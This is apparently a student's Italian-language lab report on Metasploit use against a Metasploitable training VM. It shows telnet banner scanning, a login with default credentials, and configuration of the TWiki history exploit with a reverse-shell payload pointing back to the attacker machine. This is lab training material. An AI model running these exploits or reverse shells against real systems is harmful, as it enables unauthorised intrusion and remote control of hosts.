

W16D1

1 – Attivazione MSFCONSOLE

```
root@kali: /home/kali/Desktop
File Actions Edit View Help
(root@kali)-[/home/kali/Desktop]
# msfconsole
Metasploit tip: Metasploit can be configured at startup, see msfconsole
--help to learn more

      '      '
    ((--_''_--))
      ( ) 0 0 ( )
        \_/_/
         o_o \  M S F  | \
              |  |  |  |
              |||  ww|||
              |||  |||

      =[ metasploit v6.4.5-dev ]
+ -- --=[ 2413 exploits - 1242 auxiliary - 423 post ]
+ -- --=[ 1468 payloads - 47 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > 
```

2 – Cerco l'exploit adeguato per la TELNET

```
msf6 > search telnet_version

Matching Modules
=====

#  Name                                     Disclosure Date  Rank  C
--  --                                     -
0  auxiliary/scanner/telnet/lantronix_telnet_version .      normal N
o  Lantronix Telnet Service Banner Detection
1  auxiliary/scanner/telnet/telnet_version .      normal N
o  Telnet Service Banner Detection

Interact with a module by name or index. For example info 1, use 1 or use auxiliary
/scanner/telnet/telnet_version

msf6 > 
```

3 – Seleziono l'exploit e modifico le opzioni necessarie

```
msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.50.101
RHOSTS => 192.168.50.101
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):
```

| Name | Current Setting | Required | Description |
|----------|-----------------|----------|---|
| PASSWORD | | no | The password for the specified username |
| RHOSTS | 192.168.50.101 | yes | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT | 23 | yes | The target port (TCP) |
| THREADS | 1 | yes | The number of concurrent threads (max one per host) |
| TIMEOUT | 30 | yes | Timeout for the Telnet probe |
| USERNAME | | no | The username to authenticate as |

View the full module info with the `info`, or `info -d` command.

```
msf6 auxiliary(scanner/telnet/telnet_version) > █
```

4 – l'exploit ha funzionato

```
msf6 auxiliary(scanner/telnet/telnet_version) > exploit
```

[+] 192.168.50.101:23 - 192.168.50.101:23 TELNET _

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

metasploitable login:

```
[*] 192.168.50.101:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) > █
```

5 – Controllo la veridicità delle informazioni ottenute

```
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.50.101
[*] exec: telnet 192.168.50.101

Trying 192.168.50.101...
Connected to 192.168.50.101.
Escape character is '^['.
```

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with `msfadmin/msfadmin` to get started

6 – ifconfig della “macchina” attaccata

```
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:5f:8f:56
          inet addr:192.168.50.101  Bcast:192.168.50.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe5f:8f56/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:105 errors:0 dropped:0 overruns:0 frame:0
          TX packets:146 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:7677 (7.4 KB)  TX bytes:19999 (19.5 KB)
          Base address:0xd020  Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:139 errors:0 dropped:0 overruns:0 frame:0
          TX packets:139 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:42153 (41.1 KB)  TX bytes:42153 (41.1 KB)

msfadmin@metasploitable:~$
```

1 – Selezione il l'exploit adeguato

2 -setto tutte le opzioni necessarie e il payload

```

root@kali: /home/kali/Desktop
File Actions Edit View Help
msf6 exploit(unix/webapp/twiki_history) > show options

Module options (exploit/unix/webapp/twiki_history):



| Name    | Current Setting | Required | Description                                                                                                                                                                                         |
|---------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][ ... ]                                                                                                                                      |
| RHOSTS  | 192.168.50.101  | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT   | 80              | yes      | The target port (TCP)                                                                                                                                                                               |
| SSL     | false           | no       | Negotiate SSL/TLS for outgoing connections                                                                                                                                                          |
| URI     | /twiki/bin      | yes      | Twiki bin directory path                                                                                                                                                                            |
| VHOST   |                 | no       | HTTP server virtual host                                                                                                                                                                            |



Payload options (cmd/unix/reverse):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.50.100  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Automatic |



2024 at 01:35:14 PM

View the full module info with the info, or info -d command.

msf6 exploit(unix/webapp/twiki_history) >

```

4- ha funzionato

